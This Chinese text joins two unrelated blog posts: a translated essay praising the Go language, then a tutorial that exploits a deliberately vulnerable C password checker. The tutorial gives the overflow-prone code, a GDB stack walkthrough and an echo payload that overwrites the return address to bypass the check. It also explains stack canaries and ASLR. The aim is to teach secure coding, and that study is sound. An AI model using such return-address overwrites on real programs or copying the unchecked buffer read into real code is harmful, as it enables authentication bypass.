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为什么不用用Go?

本文翻译自 Dr. Dobb's主编Andrew Binstock的文章"Why Not Go?"。

Go是一种对系统原生语言的重要反思,它对C语言做了重大的改善,同时还保持了语言的极简性。

今年早些时候,我们写了一篇有关新兴系统原生(native)语言的文章。这些语言包括D、Go、Rust以及Vala。当时我们承诺将会对这些语言进行 细致的探索。从本周开始,我们将开启一系列对来自Google的新语言Go的探索之旅,该系列共有五部分。不同于以往Dr.Dobb's的教程系列,我们 会在连续的几周内发表这些文章,这样你就可以及时且更快的了解到这门语言了。

与这个列表上的其他语言相比,Go语言对我更加有吸引力。虽然我不是Go语言专家,但我喜欢到目前为止我看到的有关Go的一切。正如你所见到的,我的愉悦 来自于对完备的语言特性选择的欣赏,而不是新语言首次亮相所带来的那种热情(我承认我也很容易受到这种兴奋带来的影响 – 这就是为什么我能识别出与喜欢Go的原因的不同之处)。下面这些特性对我尤其有吸引力:

简单而快捷的编译。Go语言编译速度很快。事实上,它的编译速度如此之快,可以轻松地被当作脚本语言使用。编译速度这么快的几个原因包括它 没有使用头文件;如果一个模块依赖A,而A依赖B,那么当A中发生一个改变时,只需要重新编译A原模块以及A的依赖即可;最后一点,目标模块包含了足够的 依赖信息,这样编译器不再需要make文件。你只需简单地进行主模块的编译,它就会自动编译工程中的所有需要被更新的模块。这是不是很酷呢?

通过多个返回值的错误处理。现今在系统原生语言中有两类主要的错误处理范式:类似C中的返回值,或类似OO语言中的异常。这两种范式都不那 么理想。但在这两者之中,返回值范式更加让人沮丧,因为返回的错误码经常与从函数中返回的其他数据相冲突。Go通过允许函数返回多个值的方式解决了这个问 题。你可以指定一个从函数返回的值代表类型错误,并可以在任意函数返回的时刻对其进行检查。如果你不关心这个错误值,你可以不检查它。无论哪种情况,函数 的常规返回值都可供你使用。

简化的组合(而不是继承)。就像在Java中那样,通过使用interface指定行为,类型可以作为对象的成员。例如,标准库中的io包 定义了一个Writer,该接口指定了一个方法:一个Write函数,以字符数组作为输入参数,返回整型值和错误类型。任何实现了与这个Write方法签 名相同的类型都是io.Writer接口的一个事实上的实现。这个设计优雅地解除了代码中的耦合。它同时也简化了单元测试mock对象的实现。例如,如 果你想要测试一个Database对象中的方法,在标准语言中你需要创建一个Database对象来创建mock,这个对象需要大量初始化和协议实现工 作。在Go语言中,如果这个被测试的方法实现了某个interface,那么你可以使用这个接口创建任意对象,用起来很方便。这样你就可以创建 MockDatabase,它是一个最小对象,仅需实现一些必要的方法以使用这个需要被mock的interface – 无需构造函数,无需新增特性,只要方法。

简化的并发。在Go中并发相当的容易。将关键字'go'放在任意函数前面,这个函数就会在其自己的go-routine(一个非常轻量的线 程)里面运行。Go-routine之间通过channel通信,channel在本质上是一种阻塞消息队列。常见的互斥工具在Go中都具备,但Go语言 通过启动并发任务以及通过channel协作的方式简化了这类操作。

非常棒的错误消息。在我见过的语言中没有哪门语言在输出诊断信息方面能与Go想媲美。例如,如果一个程序死锁了,Go运行时会通知你,甚至可以达到告诉你哪个线程导致这次死锁的程度。编译器输出的错误信息也十分详细和有用。

大杂烩:Go语言还有其他极具吸引力的特性,这里带大家快速浏览一遍:高阶函数,垃圾收集,hashmap以及内置到语言(语言语法的一部分,不是通过库引入的)中的可扩展的数组。

当然,不是所有东西都是彩虹棒棒糖。这个工具仍然不成熟,开发社区规模也很小,但有Google这样的公司作为Go语言的后盾,这两方面不足肯定会被弥补 的。许多语言 – 尤其是D、Dust以及Vala,致力于简化C++以及增加特定特性,这让我感觉它们更像是"带有更好特性的C++",而Go语言,其设计内涵中有一种对 系统原生语言要如何运转的重要的反思。正是出于这种认识,一个去除了许多问题的优雅实现诞生了。即使你没有什么特别的需求考虑去使用Go语言,那么我认为 用你最直接的方式去了解这门语言,你会发现Go的许多特性会让你赏心悦目。Cheers!

利用缓冲区溢出漏洞Hack应用

我们在平时编码过程中很少考虑代码的安全性(security),与正确性、高性能和可移植性相比,安全性似乎总被忽略。昨天从安全性角度泛泛地Review了一下现有的代码,发现了不少具有安全隐患的地方。我们的程序员的确缺乏系统地有关安全编码方面的训练和实践,包括我在内,在安全编码方面也都是初级选手,脑子中对安全性编码缺乏系统的理解。

市面上讲解编码安全性方面的书籍也不是很多,在C编码安全性方面,CERT(Carnegie Mellon University's Computer Emergency Response Team)专家Robert Seacord的《C和C++安全编码》一书对安全性编码方面做了比较系统的讲解。Robert还编写了一本名为《C安全编码标准》的书,这本书可以作为指导安全编码实践的参考手册。

浏览了一下《C和C++安全编码》,你会发现多数漏洞(vulnerability)都与缓冲区溢出(buffer overflow)有关。要想学会更好的防守,就要弄清楚漏洞是如何被利用的,在这里我们就来尝试一下如何利用缓冲区漏洞Hack应用。

有这样一段应用代码:
/* bufferoverflow.c */
int ispasswdok() {
    char passwd[12];
    memset(passwd, 0, sizeof(passwd));

    FILE *p = fopen("passwd", "rb");
    fread(passwd, 1, 200, p);
    fclose(p);

    if (strcmp(passwd, "123456") == 0) {
        return 0;
    } else {
        return -1;
    }
}

int main() {
    int passwdstat = -1;

    passwdstat = ispasswdok();
    if (passwdstat != 0) {
        printf ("invalid!\n");
        return -1;
    }

    printf("granted!\n");
    return 0;
}

这显然是故意“制造”的一段程序。原本密码(passwd)的输入是通过gets函数从标准输入获得的,但考虑到Hack时非可显示的ASCII码不易展示和输入,这里换成了fread,并且故意在fread使用中留下了隐患。我们Hack的目标很明确,就是在不知道密码的前提下,让这个程序输出"granted!",即绕过密码校验逻辑。

Hack的原理这里简述一下。我们知道C程序的运行其实就是一系列的过程调用,而过程调用本身是依赖系统为程序建立的运行时堆栈(stack)的,每个过程(Procedure)都有自己的栈帧(stack frame),各个过程的栈帧在运行时stack上按照调用的先后顺序从栈底向栈顶延伸排列。系统使用扩展基址寄存器(extended base pointer,%ebp)和扩展栈寄存器(extended stack pointer,%esp)来指示当前过程的栈帧。系统通过调整%ebp和%esp的方式按照特定的机制在各个过程的栈帧上切换,实现过程调用(call)和从过程调用返回(ret)。

执行子过程调用指令(call)时,系统先将该call指令的下一条顺序指令的地址(%eip),即子过程调用的返回地址存储在stack上,作为过程调用者栈帧的结尾,然后将%ebp也压入stack,作为子过程栈帧的开始,最后系统跳转到子过程的起始地址开始执行。总的来说,子过程调用call的执行相当于:

push %eip
push %ebp

子过程在其开始处将调用者的%ebp保存在栈上,并建立自己的%ebp;子过程调用结束前,leave指令首先恢复调用者的%ebp和%esp,之后ret指令将存储在stack的调用者的返回地址恢复到指令寄存器%eip中,并跳转到该地址上执行后续指令,这样系统就从子过程返回继续原过程的执行了。

这里的Hack就是利用重写返回地址来达到绕过密码校验过程的目的。返回地址与局部变量存储在同一栈上且系统没有对栈越界修改进行校验(一般情况是这样的)让Hack成为可能。我们通过GDB反汇编来看看main栈帧与ispasswdok栈帧在内存中的布局情况。

我们首先将breakpoint设置在ispasswdok过程被调用前,设置断点后run:

$ gdb bufferoverflow
… …
(gdb) break 20
Breakpoint 1 at 0×8048591: file bufferoverflow.c, line 20.
(gdb) run
Starting program: /home/tonybai/test/c/bufferoverflow

Breakpoint 1, main () at bufferoverflow.c:20
20        int passwdstat = -1;

我们查看一下当前main的栈帧情况:
(gdb) info registers
esp            0xbffff100    0xbffff100
ebp            0xbffff128    0xbffff128
eip            0×8048591    0×8048591 [main+9]

可以看到main栈帧起始于0xbffff128。我们继续在ispasswdok处设置断点,继续执行。
(gdb) break ispasswdok
Breakpoint 2 at 0x804850a: file bufferoverflow.c, line 6.
(gdb) continue
Continuing.

Breakpoint 2, ispasswdok () at bufferoverflow.c:6
6        memset(passwd, 0, sizeof(passwd));

现在程序已经执行到ispasswdok过程中,我们也可以看到ispasswdok栈帧情况了:
(gdb) info registers
esp            0xbffff0d0    0xbffff0d0
ebp            0xbffff0f8    0xbffff0f8
eip            0x804850a    0x804850a [ispasswdok+6]

可以看到ispasswdok过程的栈帧起始于0xbffff0f8。前面说过子过程的%ebp指向的栈单元存储的是其调用者栈帧的起始地址,即其调用者的%ebp。我们来查看一下是否是这样:

(gdb) x/4wx 0xbffff0f8
0xbffff0f8:    0xbffff128    0x0804859e    0×00284324    0x00283ff4

我们通过x/命令查看起始地址为0xbffff0f8的栈上连续4个4字节存储单元的值,可以看到0xbffff0f8处栈单元内的确存储是的main栈帧的%ebp,其值与前面main栈帧输出的结果相同。那么按照之前所说的,紧挨着这个地址的值就应该是ispasswdok过程调用的返回地址了,也就是我们要改写的那个地址,我们看到这个地址的值为0x0804859e。我们通过反汇编看看main过程的指令:

(gdb) disas main
Dump of assembler code for function main:
   0×08048588 [+0]:    push   %ebp
   0×08048589 [+1]:    mov    %esp,%ebp
   0x0804858b [+3]:    and    $0xfffffff0,%esp
   0x0804858e [+6]:    sub    $0×20,%esp
   0×08048591 [+9]:    movl   $0xffffffff,0x1c(%esp)
   0×08048599 [+17]:    call   0×8048504 [ispasswdok]
   0x0804859e [+22]:    mov    %eax,0x1c(%esp)
   … …

可以看到0x0804859e就是ispasswdok调用后的下一条指令,看来它的确是我们想要找到地址。找到了要改写的地址,我们还要找到外部数据的入口,这个入口即是ispasswdok过程中的局部变量passwd。

passwd的起始地址是什么?我们通过ispasswdok的反汇编代码来分析:

(gdb) disas ispasswdok
Dump of assembler code for function ispasswdok:
   0×08048504 [+0]:    push   %ebp
   0×08048505 [+1]:    mov    %esp,%ebp
   … …
   0×08048555 [+81]:    lea    -0×18(%ebp),%eax
   0×08048558 [+84]:    mov    %eax,(%esp)
   0x0804855b [+87]:    call   0x804842c [fread@plt]
   … …

可以看到在为fread准备实际参数时,系统用了-0×18(%ebp),显然这个地址就是passwd数组的始地址,即0xbffff0f8 – 0×18处。综上,我们用一幅简图来形象的说明一下各个重要元素:

– 高地址,栈底
… …
0xbffff0fc:  0x0804859e   <- 存储的值是main设置的ispasswdok过程的返回地址
——————————————————
0xbffff0f8:  0xbffff128   <- ispasswdok的%ebp,存储的值为main的%ebp
0xbffff0f4:  0x08049ff4
0xbffff0f0:  0x0011e0c0
0xbffff0ec:  0x0804b008
0xbffff0e8:  0×00000000
0xbffff0e4:  0×00000000
0xbffff0e0:  0×00000000   <- passwd数组的起始地址
… …
– 低地址,栈顶

我们现在需要做的就是从0xbffff0e0这个地址开始写入数据,一直写到ispasswdok过程的返回地址,用新的地址值覆盖掉原有的返回地址0x0804859e。我们需要精心构造一个密码文件(passwd):

echo -ne "aaaaaaaaaaaa\x08\xb0\x04\x08\xc0\xe0\x11\x00\xf4\x9f\x04\x08\x28\xf1\xff\xbf\xc4\x85\x04\x08" > passwd

这里我们将passwd数组用字符'a'填充,将0x0804859e这个返回地址改写为0x080485c4,我们通过disas main可以看到这个跳转地址对应的指令:

(gdb) disas main
Dump of assembler code for function main:
   0×08048590 [+0]:    push   %ebp
   0×08048591 [+1]:    mov    %esp,%ebp
   … …
   0x080485c4 [+52]:    movl   $0x80486ba,(%esp)  ;程序执行跳转到这里
   0x080485cb [+59]:    call   0x804841c [puts@plt] ; 输出granted!
   0x080485d0 [+64]:    mov    $0×0,%eax
   0x080485d5 [+69]:    leave 
   0x080485d6 [+70]:    ret   

我们在GDB中完整的执行一遍bufferoverflow:
$ gdb bufferoverflow
(gdb) run
Starting program: /home/tonybai/test/c/bufferoverflow
granted!

Program exited normally.

Hack成功!(环境:gcc version 4.4.3 (Ubuntu 4.4.3-4ubuntu5), GNU gdb (GDB) 7.1-ubuntu)

GCC默认在目标代码中加入stack smashing protector(-fstack-protector),在函数返回前,程序会检测特定的protector(又被称为canary,金丝雀)的值是否被修改,如果被修改了,则报错退出。上面的代码在编译时加入了-fno-stack-protector,否则一旦越界修改缓冲区外的地址,波及canary,程序就会报错退出。

另外bufferoverflow这个程序在GDB下执行可以成功Hack,但在shell下独立执行依旧会报错,dump core(发生在fclose里),对于此问题暂没有什么头绪。

后记:
经过分析,bufferoverflow程序在非GDB调试环境下独立执行时dump core的问题应该是由于Linux采用的ASLR技术所致。所谓ASLR就是Address-Space Layout Randomization,中文意思是地址空间布局随机化。正因为每次bufferoverflow的栈地址空间布局随机不同,因此事先精心挑选的那组hack数据才无法起到作用,并导致栈被破坏而dump core。

我们可以通过一个简单的测试程序看到ASLR的作用。
/* test_aslr.c */
int main() {
    int a;
    printf("a is at %p\n", &a);
    return 0;
}

下面多次执行该例程:
tonybai@PC-ubuntu:~/test/c$ test_aslr
a is at 0xbfbcb44c
tonybai@PC-ubuntu:~/test/c$ test_aslr
a is at 0xbfe3c8cc
tonybai@PC-ubuntu:~/test/c$ test_aslr
a is at 0xbfcc6d9c
tonybai@PC-ubuntu:~/test/c$ test_aslr
a is at 0xbfaea32c

可以看到每次栈上变量a的地址都不相同。

GDB默认关闭了ASLR,这才使得上面的Hack得以成型,通过GDB的信息也可以证实这一点:
(gdb) show disable-randomization
Disabling randomization of debuggee's virtual address space is on.

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